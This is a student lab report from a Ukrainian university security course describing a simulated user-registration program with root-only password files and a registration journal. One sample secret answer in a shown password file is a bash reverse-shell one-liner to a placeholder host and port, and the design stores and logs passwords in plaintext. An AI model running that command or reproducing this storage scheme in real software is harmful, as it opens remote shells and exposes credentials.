

Національний технічний університет України «КПІ ім. Ігоря Сікорського»
Факультет Інформатики та Обчислювальної Техніки
Кафедра Автоматизованих Систем Обробки Інформації та Управління

Лабораторна робота №2

з дисципліни «Системи Безпеки Програм і Даних»

Виконав:
студент гр. ІС-91
Мягков Герман

Зміст

Зміст	2
1 Постановка задачі	3
2 Розв'язок	4
3 Лістинг програми	6

1 Постановка задачі

Лаб. Робота 2. Розробка програми реєстрації користувачів. На дискеті створюється розділ, доступний тільки адміністратору, в якому формується системний журнал! реєстрації (ЖР) користувачів, а в подальшому і ін засоби (операційний журнал, генератори ключів шифрування і т.п.). Адміністратор фіксує логін і пароль, а також перевіряє пароль на відповідність вимогам (по довжині, словником і часу використання). Крім пароля і т.п. в РЖ фіксуються дані, необхідні для подальшої аутентифікації користувачів.

2 Розв'язок

У файлі data є спеціальна директорія /secrets, яка доступна тільки адміністратору (root). Вона містить у собі файли типу .jrn та .pw.

```
root@localhost:/# cd secrets
root@localhost:/secrets# ls
INode Name
3      reg.jrn
4      root.pw
6      guest.pw
8      herman.pw
10     test.pw
```

.pw це файли які створюються для кожного нового користувача. Вони містять у собі паролі користувачей, їх домашні директорії, секретні запитання та відповіді для них, та іншу інформацію.

```
root@localhost:/secrets# cat root.pw
root:qwe:/
root@localhost:/secrets# cat guest.pw
guest:/home/guest
root@localhost:/secrets# cat herman.pw
herman:qwe:/home/herman:0:10:What's my name?:Herman:What uni do I study in?:KPI:What's the best bash command?:bash -i >&
/dev/tcp/<ip>/<port> 0>&1
root@localhost:/secrets# cat test.pw
test:qwe:/home/test:0:10:qwe:qwe:qwe:qwe:qwe:qwe
root@localhost:/secrets#
```

.jrn це журнали. На момент здачі цієї лабораторної, у програмі є тільки журнал реєстрації користувачів – reg.jrn.

Його контент автоматично відображається для адміністратора при вході в його акаунт.

Також можна проглядати журнал за допомогою команди “review <journal_name>.jrn:

```
guest@localhost:/home/guest/$ su root
Enter password for root (if any)
qwe

Please review the below events that took place while you were away:
User root registered with password - qwe.

Switched to root.
root@localhost:/# useradd herman
```

```
root@localhost:/secrets/# review reg.jrn

Please review the below events that took place while you were away:
User herman registered with password - qwe.
User test registered with password - qwe.

root@localhost:/secrets/#
```

При створенні нового користувача програма просить ввести три питання, та відповіді на них.

Ця інформація фуксується в файлі .pw, та буде використовуватись в лабораторній роботі 3 для аутентифікації.

Сам факт реєстрації нового користувача додається в журнал reg.jrn.

```
root@localhost:/secrets/# useradd anton
Define anton password:
supersecurepassword

Enter secret question 1:
What's my name?
Enter the answer for question 1:
Anton the Great

Enter secret question 2:
Am I evil?
Enter the answer for question 2:
Yes I am.

Enter secret question 3:
Do I exist?
Enter the answer for question 3:
No
root@localhost:/secrets/# review reg.jrn

Please review the below events that took place while you were away:
User anton registered with password - supersecurepassword.

root@localhost:/secrets/#
```

Програма автоматично чистить журнал, тому коли адміністратор проглянув певні події, вони вже не будуть відображатись в журналі.

На малюнку вище ми проглянули журнал реєстрації та побачили подію створення користувача “anton”; Якщо знову переглянути журнал, то ця подія вже не відобразиться.

```
root@localhost:/secrets/# review reg.jrn

Please review the below events that took place while you were away:
User anton registered with password - supersecurepassword.

root@localhost:/secrets/# review reg.jrn

There are no events in journal /secrets/reg.jrn.

root@localhost:/secrets/# _
```

3 Лістинг програми

GitHub:

<https://github.com/ldvy/infosec/tree/main/lab2>